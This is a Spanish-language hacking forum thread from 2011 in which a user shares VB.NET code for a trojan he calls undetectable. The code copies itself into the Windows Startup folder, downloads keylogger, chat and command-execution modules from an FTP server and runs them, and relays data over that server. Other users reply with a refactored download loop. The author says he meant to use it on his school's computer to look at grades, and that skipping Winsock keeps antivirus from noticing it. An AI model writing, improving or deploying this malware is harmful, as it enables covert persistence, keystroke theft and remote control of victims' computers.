Foro de elhacker.net

Programación => .NET (C#, VB.NET, ASP) => Mensaje iniciado por: jhonsc en 23 Agosto 2011, 20:42 pm



Título: Troyano en VB.NET (indectectable)
Publicado por: jhonsc en 23 Agosto 2011, 20:42 pm
Hola, soy nuevo en el foro y quería empezar a publicar y a contribuir asi que voy a poner un tema sobre como hacer un troyano con algunas funciones sin rastro de winsock (el winsock todos los antivirus lo dectectan ya).
Pués bien, compienzo: :D

Antes de empezar voy a dejar claro las funciones que quiero que tenga:
-Keylogger
-Chat
-Chat "a lo Matrix"  ;D
-Abrir consola
-Ejecutar

abrimos el Visual Basic (en mi caso el 2008, que también funciona en windows 7) y agregamos un nuevo proyecto. Este será el "Panel de control" del cliente:
Ponemos unos buttons (yo los he puesto incluidos en un ToolStrip, pero da igual).
Aquí viene una de las cosas que debes de tener en cuenta para que tu troyano FTP no se te bloquee; esos botones, no habren un Form2, ni otro formulario, si no que habrén programas que se encargan de esa función (la del keylogger por ejemplo).
Esto lo hacemos por que si pones todas las conexiones del troyano (keylogger, ordenes, chats...) pues el programa se te acaba saturando y bloqueando; por ello, lo ponemos por separado. Aunque lo metamos por separado, no hace falta que el ejecute todos los apartados>>>>en vez de eso, ejecutará un solo programa, el cual se descargará las otras partes de un servidor y las pondrá en las carpetas del equipo correspondientes. El código sería así:

Código:
Public Class Form1
    Dim aPath As String = Application.ExecutablePath()

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        If Not My.Computer.FileSystem.FileExists("C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe") Then
            My.Computer.FileSystem.CopyFile(aPath, "C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe")
        End If
        If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\cht.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/chat.exe", "C:\WINDOWS\cht.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\chmat.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/chatmatrix.exe", "C:\WINDOWS\chmat.exe", "user", "passw")
        End If
        If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/ordenes.exe", "C:\WINDOWS\ord.exe", "user", "passw")
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
        End If
        End
    End Sub
End Class


Ese sería el código del "Instalador" del Server.
Tampoco pretendo poner todo el código fuente de mi troyano así que diré lo imprescindible:

--La transmisión de datos de los chat se hace por el siguiente código:
Código:
Dim name As String
        name = TextBox1.Text
        Try
            Dim client As New Net.WebClient
            client.Credentials = New Net.NetworkCredential("user", "passw")
            client.UploadString("fttp://sevidor/cht1.txt", name & ": " & vbNewLine & RichTextBox1.Text & vbNewLine)
            RichTextBox1.Clear()
        Catch ex As Exception
        End Try
        Try
            Dim client As New Net.WebClient
            client.Credentials = New Net.NetworkCredential("user", "passw")
            RichTextBox2.Text = client.DownloadString("ftp://servidor/cht1.txt")
        Catch ex As Exception
        End Try

Doy por echo que sabeis hacer un keylogger así que no lo pongo.

Y como no queremos que se acumulen las ordenes cuando las mandemos, al recibirlas el servidor sube un archivo que sustituye el otro, dejandolo en blanco, lo cual se haría con este código: (este código se pondría después de que se ejecutase el correspodiente archivo)

Servidor (el apartado de las ordenes):
Código:
My.Computer.FileSystem.WriteAllText(aPath & "\remord1.txt", _
        "", True)
                My.Computer.Network.UploadFile(aPath & "\remord1.txt", "ftp://servidor/orderlist1.txt", "user", "passw")
                My.Computer.FileSystem.DeleteFile(aPath & "\remord1.txt")
                RichTextBox1.Clear()

Os pongo una foto de como queda:
-La pantalla del Servidor cuando le pones el chat "a lo Matrix" (toda la pantalla):
(http://mrkt0.webatu.com/chtmatrix.jpg)

-Y como sería el controlador del chat "a lo matrix" (el cliente):
(http://mrkt0.webatu.com/monitor.jpg)


Bueno espero que os sirva para adaptaros a las nuevas politicas anti-winsock que se manifistan en windows 7  ;D


Título: Re: Troyano en VB.NET (indectectable)
Publicado por: hackertotal22 en 3 Septiembre 2011, 16:25 pm
Gracias hacia tiempo que buscaba un ejemplo sencillo de vb.net y sockets  ;-) ;-)


Título: Re: Troyano en VB.NET (indectectable)
Publicado por: RsTyLeR en 4 Septiembre 2011, 22:37 pm
Un trabajo muy currado.
Pero me parece que en vez de finalizar los IF puedes usar los ELSE ya que creo que es lo mismo IF NOT que ELSE.
Código:
If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If

Lo que digo es esto:
Código:
       If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
      
      ELSE My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If


Conste que mi conocimiento básico y estoy aún haciendo mis pinitos. Así que posiblemente me equivoque, ya que me parece no puedes poner dos veces un ELSE en la instruccion IF y me este equivocando yo.
Ahora tambien pensando se me ha ocurrido también la funcion ElseIf.


Saludos  ;)


Título: Re: Troyano en VB.NET (indectectable)
Publicado por: jhonsc en 8 Septiembre 2011, 11:47 am
Tienes razón, se pordría haber puesto con else. Es más, mi código al principio era con Else, pero mi ordenador está echo unamierda (aunque parezca una excusa muy mala)  y me acabé artando y borrando todo el código y cuando lo reconstruí se quedo así xd. Pero alomejor si te apareció el problema de que no puedes quizá fuese por que aunque pongas else, debes terminar todo, por cada If un End If, un ejemplo:
Código:
If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
            Shell("C:\WINDOWS\keg.exe")
            Shell("C:\WINDOWS\ord.exe")
      
      Else
          If Not  My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
            My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
        End If
End If
Ya que has puesto hay dos If, luego pones dos End If.


Título: Re: Troyano en VB.NET (indectectable)
Publicado por: EddyW en 11 Septiembre 2011, 00:00 am
Hola,

Como siempre digo, la idea está bien! de que funciona, si lo hace, pero el código esta demasiado 'sucio'.
Que manía de dejar los controles sin nombre (TextBox1 podría ser NameTxt), ¿no conoces las funciones (Function) y Procedimientos (Sub)? o todo era parte del 'indetectamiento' xD

Podrías reducir mucho el código y darle mayor 'calidad' si usas procedimientos para realizar las tareas por ejemplo de comprobar la existencia de los archivos, el código es muy redundante al respecto, cuando repites una acción más de 2 veces es adecuado usar funciones y/o procedimientos.

Algo así:
Código
  1. Imports ejemplo.My
  2.  
  3. Module Module1
  4.    Sub Main()
  5.        Dim exe As Array
  6.        exe = {"key.exe", "chat.exe", "mchat.exe", "ord.exe"}
  7.        Exist("C:\Windows\", exe)
  8.    End Sub
  9.  
  10.    Private Sub Exist(ByVal Dir As String, ByRef files As Array)
  11.        Dim i As Object
  12.        For Each i In files
  13.            If Not Computer.FileSystem.FileExists(Dir + i.ToString) Then
  14.                My.Computer.Network.DownloadFile("ftp://servidor/"+i.ToString, Dir + i.ToString, "user", "passw")
  15.            End If
  16.        Next
  17.    End Sub
  18. End Module

Como vez, paso el nombre de los archivos en un solo array a la función "Exist" ahorrando como 4 sentencias if, imagina que hubieran sido 100 archivos dudo que escribieras todas esas sentencias if.
Si quisieras modificar la ruta por ejemplo, solo tendrías que cambiar un parámetro y no editar todos los ifs.

No soy programador de VB.Net pero es prácticamente igual a C# (Quitando la sintaxis, aunque no podía evitar colocar ";" al final Dx).
Las buenas prácticas te pueden servir mucho en el futuro ;)

SaluDOS!
PD: Por cierto acomodar tu código en las etiquetas [code=vb.net]'Aquí tu codigo[/code] no se vería nada mal :)


Título: Re: Troyano en VB.NET (indectectable)
Publicado por: jhonsc en 14 Septiembre 2011, 10:55 am
Ok, gracias  :D . No se me había ocurrido. Además era uno que estaba haciendo con un amigo para echarle un vistazo por dentro al ordenador de mi escuela y las notas  ;D . Gracias de nuevo.

Nota: No es parte de mi "indectectamiento"; el "indetectamiento viene a ser por que no utiliza el winsock que es lo que los antivirus huelen. Además no me gusta mucho decirlo.... que como lo vean los de microsoft ya deja de serlo  :laugh: